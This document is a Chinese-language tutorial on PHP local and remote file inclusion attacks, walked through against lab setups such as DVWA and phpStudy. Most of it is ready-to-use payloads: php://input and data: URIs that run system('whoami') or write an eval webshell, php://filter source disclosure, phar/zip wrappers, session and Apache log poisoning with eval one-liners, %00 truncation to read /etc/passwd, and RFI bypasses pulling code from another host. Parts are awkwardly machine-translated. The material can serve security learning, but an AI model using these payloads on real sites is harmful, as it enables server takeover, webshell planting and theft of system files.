文件包含漏洞的出現及危害
文件包含漏洞是一種最常見的漏洞類型,它會影響依賴於腳本運行時的web應用程序。當應用程序使用攻擊者控制的變量構建可執行代碼的路徑時,文件包含漏洞會導致攻擊者任意控制運行時執行的文件。如果一個文件包含這個漏洞,為了方便起見,經常在開發階段就實施。由於它經常用於程序開發階段,所以這就為后來的攻擊埋下了伏筆並導致了各種基於文件的攻擊。
文件包含漏洞主要是程序員把一些公用的代碼寫在一個單獨的文件中,然后使用其他文件進行包含調用,如果需要包含的文件使用硬編碼,一般是不會出現安全問題,但是有時可能不確定需要包含哪些具體文件,所以就會采用變量的形式來傳遞需要包含的文件,但是在使用包含文件的過程中,未對包含的變量進行檢查及過濾,導致外部提交的惡意數據作為變量進入到了文件包含的過程中,從而導致提交的惡意數據被執行。
文件包含漏洞分為本地文件包含(Loacl File Inclusion,LFI)和遠程文件包含(Remote File Inclusion,RFI)。這種漏洞貌不驚人,卻危害很大。通過文件包含漏洞,可以讀取系統中的敏感文件,源代碼文件等,如密碼文件,通過對密碼文件進行暴力破解。若破解成功則可獲取操作系統的用戶賬戶,甚至可通過開放的遠程連接服務進行連接控制。另外不管是本地文件包含還是遠程文件包含,文件包含漏洞還可能導致執行任意代碼。
本地文件包含
本地文件包含就是通過瀏覽器包含web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾允許遍歷目錄的字符注入瀏覽器並執行。
首先,當值可以直接被控制時,你就會有一個非常類似的如下的代碼片段。
<? php $ file = $ _GET ['file']; include ($ file);
如果你可以找到上面的代碼,那么就有一個直接包含的$文件,你可以控制它。
請注意:該文件可以是任何類型,無論它是被刪除的文件類型、圖片還是任意的內容,都包括在內。
首先,在當前文件夾中創建任意后綴的任意文件,如:file.txt(即使是像file.jpg這樣的圖片格式,則會產生以下效果)。
將文件的內容設置為:
<? php phpinfo ();
此時,文件包含漏洞還包含當前服務器中的其他文件,同時支持包含Web應用程序的目錄,如下所示:
嘗試包括你的硬盤的一些內容,例如:C:\WINDOWS\system.ini。
如果你這樣做,就可以在瀏覽器上看到任何文件的輸出內容。
這只有當你有完全控制和文件類型沒有進一步指定時才有效。
那么,如果代碼片段變成如下這樣,你該怎么做?
<?php $file = $_GET['file'] . '.php'; echo $file; include($file);
在這種情況下,你可以嘗試按照上面的方法:
這將導致以下的輸出:
你可以看到,如果后綴是固定的,就像上圖一樣,你不會找到前面包含的文件。
搜索的文件名是:./Include.txt.php。
所以這里有另一種方法:%00到達時截斷一個字符串。這個技巧也被廣泛應用於不同的領域,我不會在這里再詳述,如果想詳細了解,請點此。
在PHP中使用%00:
1.PHP版本<5.3(不包括5.3);
2. PHP `magic_quotes_gpc = off`;
3.PHP不會在收到的參數中使用addslashes函數,例如上面代碼中的$ _GET ['file'],不過在PHP版本5.3或更高版本中,此問題已得到解決。
如果打開gpc或者使用了加法器函數,序列將被正確地轉義。
首先,你可以嘗試如果gpc打開會發生什么(效果與使用該函數相同)。
如果你啟用了gpc標志,你可以直接看到這個過程是如何發生的。
接下來可以看看5.3版本中的情況:
這里也沒有明顯的效果。
所以你可以看到,只要滿足上述三個條件,就可以使用%00。
首先,你要將PHP版本更改為5.2,並在php.ini更改為 magic_quotes_gpc = on tomagic_quotes_gpc = off.后重新啟動Apache。
這使你就能夠在嘗試時使用截斷。
這時可以看到,你已經成功地使用了其中的截斷。
那么文件只包含了包含的功能嗎?當然不是,之所以會這樣,是因為你可以控制可以包含的內容。
你可以創建一個文件:shell.txt來進一步利用這個漏洞。
你可以看到,其中也包括了shell。
那么兩者有什么區別呢?其實沒有什么區別,原理是一樣的,但是第一個是用后綴來介紹的,第二個是固定在程序后綴后面的。但是可以使用%00,因為當程序流(program stream )遇到%00終止符(terminator)時它會直接終止。
遠程文件包含
遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好的腳本。 此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊 甚至在目標服務器上執行代碼。
本地文件包含與遠程文件有着相同的原理,但前者只能包含服務器上存在的文件,而后者可以包含遠程服務器上的文件。
對於遠程文件,你需要考慮以下2點:
1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
2.所需的遠程文件后綴不能與目標服務器的語言相同,如目標服務器解析PHP代碼,則遠程文件后綴不能為.php。
讓我解釋一下第二點,如果你的遠程文件具有.php后綴,並且你的遠程文件內容如下所示:
<? php phpinfo ();
那么在遠程服務器執行phpinfo()之后,你就可以獲得目標服務器的內容。由於它不會運行代碼,所以包含的信息不是目標服務器,而是遠程服務器。
如下所示:
這是我的PHP5.6版本的遠程設備信息,目標設備是5.2版本。
接下來是包含文件:
你可以看到,包含文件后,你的遠程設備發生了變化,這是為什么呢?
由於目標服務器不包含此代碼:
<? php phpinfo ();?>
此時,遠程服務器會執行此代碼的源代碼,如下所示:
所以為了使這個攻擊開始運行,你需要做一些修改:
1.修改配置
2.修改文件后綴
此時,你可以再來嘗試一下包含的攻擊向量:
那么你可以看到所需的信息在此包含之后返回,並且你的目標設備信息不再改變。
接下來,你要再次為遠程文件包含做一個shell示例。
遠程文件包含使用的前提是,符合本地文件包含的前提並符合遠程文件包含其可用性的前提。
文件包含許多偽協議
文件中可以包含不同的偽協議,我將在下面演示其中的一些:
1.data:text/plain or data: text/plain; base64 2.php://input 3.php://filter 4.file:// 5.zip://
其他協議可以在官方文檔中找到。
data:text/plain
輸出直接顯示在相應的URL中,顯示參數:data:text / plain。
然后你需要執行如下所示的php代碼:
data:text/plain; BASE64
有另一種方法來使用data: text/plain; base64,不過此時你需要使用base64編碼來執行PHP代碼,base64php代碼如下所示:
## php://input
php://input訪問請求的原始數據的只讀流(read-only stream),會將post請求中的數據作為php代碼執行。
你可以看到程序自動添加了一個.php后綴,因此使用包括php://input,將自動添加.php,所以它肯定不能正常工作。
此時,你可以參考以上的%00技巧來截斷文件路徑。
你可以看到終止符(terminator)是非常強大的。
php://filter
php://filter可以讀取php文件的代碼base64編碼的輸出並將其返回給你。
例如,你想讀取一個PHP文件,但不希望它是正常的PHP。你可以通過php://filter/read=convert.base64-encode/resource=
../ 讀取文件代碼的內容。
解碼base64后,你可以像正常情況一樣獲取內容:
file://
file://用於訪問本地文件系統,不受allow_url_fopen orallow_url_include的影響,你可以使用file:// absolute / path / to / file來獲取。
zip://
zip://可以訪問zip文件中的文件,但它需要一個絕對路徑。你可以使用zip://[archive absolute path] # [compressed file name]在本地創建一個文件並將其壓縮到一個zip壓縮文件中。
此時,你就可以填入絕對路徑和文件的名稱了。那么,你可能會有兩個疑問?
為什么你不能成功顯示包括zip://的錯誤?
這其中就包含zip://C:/phpStudy/WWW/include/phpinfo.zip.php,這是因為你不想包含這個文件,而是想把這個文件包含在zip里。
為什么是#以后的值?
因為#會忽略它后面的參數,所以你需要在表單中使用%23。還有一點就是,包含的文件以.php結尾,但你壓縮了php后綴的文件。
所以如下所示,你不需要這個后綴。
文件包含攻擊初學者指南(LFI / RFI)
文件包含
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。
程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。
在PHP中經常出現包含漏洞,但這並不意味這其他語言不存在。
來張圖片壓壓驚

php中引起文件包含漏洞的4個函數:
include()、include_once()、require()、require_once()
區別如下:
include:包含並運行指定的文件,包含文件發生錯誤時,程序警告,但會繼續執行。

require:包含並運行指定的文件,包含文件發生錯誤時,程序直接終止執行。

require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。
當利用這四個函數來包含文件時,不管文件是什么類型(圖片、txt等等),都會直接作為php文件進行解析。測試代碼:
<?php $file = $_GET['file']; include $file; ?>
在同目錄下有個phpinfo.txt,其內容為<? phpinfo(); ?>
。則只需要訪問
index.php?file=phpinfo.txt
即可成功解析phpinfo。

場景
具有相關的文件包含函數。
文件包含函數中存在動態變量,比如include $file;
。
攻擊者能夠控制該變量,比如 $file = $_GET['file'];
。
分類
文件包含分為:本地(LFI)/遠程(RFI)包含
本地文件包含漏洞,顧名思義,指的是能打開並包含本地文件的漏洞。大部分情況下遇到的文件包含漏洞都是LFI。簡單的測試用例如前所示。
遠程文件包含漏洞。是指能夠包含遠程服務器上的文件並執行。由於遠程服務器的文件是我們可控的,因此漏洞一旦存在危害性會很大。
但RFI的利用條件較為苛刻,需要php.ini中進行配置
allow_url_fopen = On
allow_url_include = On,重啟apache,即可生效
兩個配置選項均需要為On,才能遠程包含文件成功。
另外一台需要開啟apache
apt-get install apache2 /etc/init.d/apache2 start


注:在php.ini中,allow_url_fopen默認一直是On,而allow_url_include
從php5.2之后就默認為Off。
下面例子中測試代碼均為:
<?php $file = $_GET['file']; include $file; ?>
allow_url_fopen 默認為 On
allow_url_include 默認為 Off
若有特殊要求,會在利用條件里指出。
PHP偽協議以及其他封裝協議的利用
php://input
利用條件:
allow_url_include = On。
對allow_url_fopen不做要求。
<?phpinfo();?> <?php system('whoami');?> <?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['caidao']);?>")?>
包含姿勢
index.php ?file=php://input POST: <? phpinfo();?>

命令執行

寫入一句話木馬,有寫入的權限


php://filter
利用條件:無甚
姿勢:
index2.php?file=php://filter/read=convert.base64-encode/resource=index.php
說說index2.php?file=php://filter/read=convert.base64-encode/resource=index.php的含義
首先這是一個file關鍵字的get參數傳遞,php://是一種協議名稱,php://filter/
是一種訪問本地文件的協議,/read=convert.base64-encode/
表示讀取的方式是base64編碼后,resource=index.php
表示目標文件為index.php。
舉個例子:

>>> import base64 //base64模塊 >>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==") //解密這串加密的字符串 b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了read等關鍵字。在繞過一些waf時也許有用。

phar協議&&zip協議
利用phar://協議特性可以在滲透過程中幫我們繞過一些waf檢測此方法使用要php版本大於等於php5.3.0
phar://
利用條件:
php版本大於等於php5.3.0
姿勢:
假設有個文件phpinfo.txt,其內容為<?php phpinfo(); ?>,打包成zip壓縮包,如下:

指定絕對路徑
index2.php?file=phar://C:\phpStudy\WWW\FileInclusion\phpinfo.zip\phpinfo.txt
或者使用相對路徑(這里phpinfo.zip就在當前目錄下)
index2.php?file=phar://phpinfo.zip/phpinfo.txt

zip://
關於zip://
php版本大於等於php5.3.0
姿勢:
構造zip包的方法同phar。
但使用zip協議,需要指定絕對路徑,同時將#編碼為%23,之后填上壓縮包內的文件。
index2.php?file=zip://C:\phpStudy\WWW\FileInclusion\phpinfo.zip%23phpinfo.txt

注:
若是使用相對路徑,則會包含失敗。
data:URI schema
利用條件:
php版本大於等於php5.2
allow_url_fopen = On
allow_url_include = On
姿勢
/index2.php?file=data:text/plain,<?php phpinfo();?>

執行命令:
index2.php?file=data:text/plain,<?php system("whoami");?>

姿勢二:
/index2.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號+
的url編碼為%2b
,PD9waHAgcGhwaW5mbygpOz8+
的base64解碼為:<?php phpinfo();?>

執行命令
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
的base64解碼為:<?php system('whoami');?>
包含session
利用條件:session文件路徑已知,且其中內容部分可控。
思路:結合phpmyadmin,因為phpmyadmin每次登錄時,會帶上session

session文件的絕對路徑可在phpinfo中查看,session.save_path

常見的php-session存放位置還有這幾個:
/var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
使用以下命令可查看到session文件中的登錄信息
strings /var/lib/php5/sess_258c1be1b00d080bddc58d2896460542facb6f1f | grep root

登錄phpmyadmin時,用戶名輸入一句話木馬,再包含session文件,可getshell
<?php @eval($_POST['root']); ?>


?????,需要解決,能寫入一句話木馬到session中,phpinfo也可以正常訪問,但是菜刀就是連不上200ok;糾結,還在解決中
感謝,周大爺的細心指導,問題已經解決了。
解決方式:
在瀏覽器里有你的cookie所以你可以直接去訪問對應的文件包含頁面,用菜刀的話是沒有cookie的所以你沒有辦法去訪問文件包含頁面也就是fi那個頁面。所以說會自動跳轉到登錄頁面,顯示200ok
加上cookie之后在重新連接,成功連接

包含日志文件
當我們沒有上傳點,並且也沒有url_allow_include功能時,我們就可以考慮包含服務器的日志文件。
利用思路也比較簡單,當我們訪問網站時,服務器的日志中都會記錄我們的行為,當我們訪問鏈接中包含PHP一句話木馬時,也會被記錄到日志中。
這時候我們如果知道服務器的日志位置,我們可以去包含這個文件從而拿到shell。其實整個“包含日志文件漏洞利用”最關鍵的就是找日志存放的“物理路徑”,只要找到日志的物理存放路徑,一切就可以按部就班的完成利用了。
利用的條件:
- 1、日志的物理存放路徑
- 2、存在文件包含漏洞
獲取日志存放路徑
(一)日志默認路徑
(1) apache+Linux日志默認路徑
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默認路徑
D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默認日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默認日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用戶安裝目錄logs目錄下
以我的安裝路徑為例/usr/local/nginx,
那我的日志目錄就是在/usr/local/nginx/logs里
首先,我們直接使用瀏覽器來構造“php一句話報錯請求信息”服務自動記錄此一句話信息到服務器日志文件中;
具體構造內容:
http://127.0.0.1:81/FileInclusion/index2.php?file=<?php @eval($_POST[c]);?>

(2)測試結果:失敗
利用文件包含漏洞直接訪問“服務日志文件”,發現文件包含漏洞並未對構造的php一句話進行正常解析,觀察發現是構造的PHP一句話中的相關字符在記錄進日志文件后,相關的字符被轉碼了,導致PHP解析失敗,具體失敗原因見“失敗原因分析”

(3)失敗原因分析
一句話寫入日志文件的利用過程是,利用瀏覽器直接構造一個關於請求資源的報錯信息,消息中包含依據。報錯信息服務自動記錄到日志文件,但實際測試發現寫入日志文件內的報錯信息發生了字符轉碼:
日志文件內容如上圖所示:
http://127.0.0.1:81/FileInclusion/index2.php?page=%3C?php%20@eval($_POST[c]);?%3E
"<" ----> 大於號被轉碼為了 %3C ">" ----> 小於號被轉碼為了 %3E " " ----> 空格被轉碼為了 %20
最后寫入到日志文件中的一句話就變成了 %3C?php%20@eval($_POST[c]);?%3E。
(4) 失敗總結
瀏覽器直接構造的PHP一句話中特殊字符,會被瀏覽器自動進行URL轉義,導致最終寫入日志文件中的PHP一句話包含了這些特殊字符,而這些轉碼后的編碼PHP並不能進行正常的解析。
(5)構造一句話,寫入日志文件測試記錄
burpsuit 代理抓包改包構造一句話寫入日志文件
(1) burpsuit 代理抓包,修改瀏覽器轉碼字符,寫入正確的php一句話木馬到服務器日志文件。

(2) 測試記錄:成功
通過文件包含直接訪問服務日志文件,發現一句話被執行成功;

在用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log,還可以包含Apache的錯誤訪問日志
首先,構造一個會報錯的訪問鏈接,將利用代碼(PHP一句話)寫入錯誤日志記錄中
http://127.0.0.1:81/FileInclusion/index2.php%3C?php%20@eval($_POST[c]);?%3E
這個鏈接直接訪問的話,一句話會被編碼成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

對所截獲的包進行修改,點擊go,返回403報錯,服務器錯誤日志文件成功將此次記錄到error.log中
我們根據日志的路徑構造訪問路徑:
http://127.0.0.1:81/FileInclusion/index2.php?file=C:/phpStudy/Apache/logs/access.log
客戶端連接,獲取一句話木馬
SSH log
利用的條件:
利用條件:需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log
姿勢:
用ssh連接:
參考這個網站
包含臨時文件
繞過姿勢
本地文件包含的繞過
(1)%00 截斷
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd%00
(2)編碼%2e%2e%2f
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
遠程文件包含的繞過
(1)?號
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt?
(2)#號
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt%23
https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
https://vulhub.org/#/environments/php/inclusion/